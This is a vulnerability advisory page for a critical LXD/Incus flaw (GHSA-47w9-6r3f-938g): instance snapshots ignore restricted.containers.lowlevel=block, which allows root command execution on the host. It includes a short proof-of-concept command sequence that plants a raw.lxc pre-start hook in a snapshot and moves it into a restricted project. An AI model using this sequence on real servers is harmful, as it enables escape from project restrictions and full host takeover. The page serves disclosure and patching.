LXD has restricted project bypass leading to arbitrary command executionGHSA-47w9-6r3f-938g
CRITICALFix: canonical/lxd@5aac658GHSA-47w9-6r3f-938g is a critical-severity (CVSS 9.9) remote code execution vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.
Real-World Exposure
github.com/canonical/lxdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/canonical/lxd | all versions | 0.0.0-20260630083100-c5184be310b1go get github.com/canonical/lxd@v0.0.0-20260630083100-c5184be310b1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-47w9-6r3f-938g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-47w9-6r3f-938g in your dependencies?
Find it across Go, including transitive dependencies.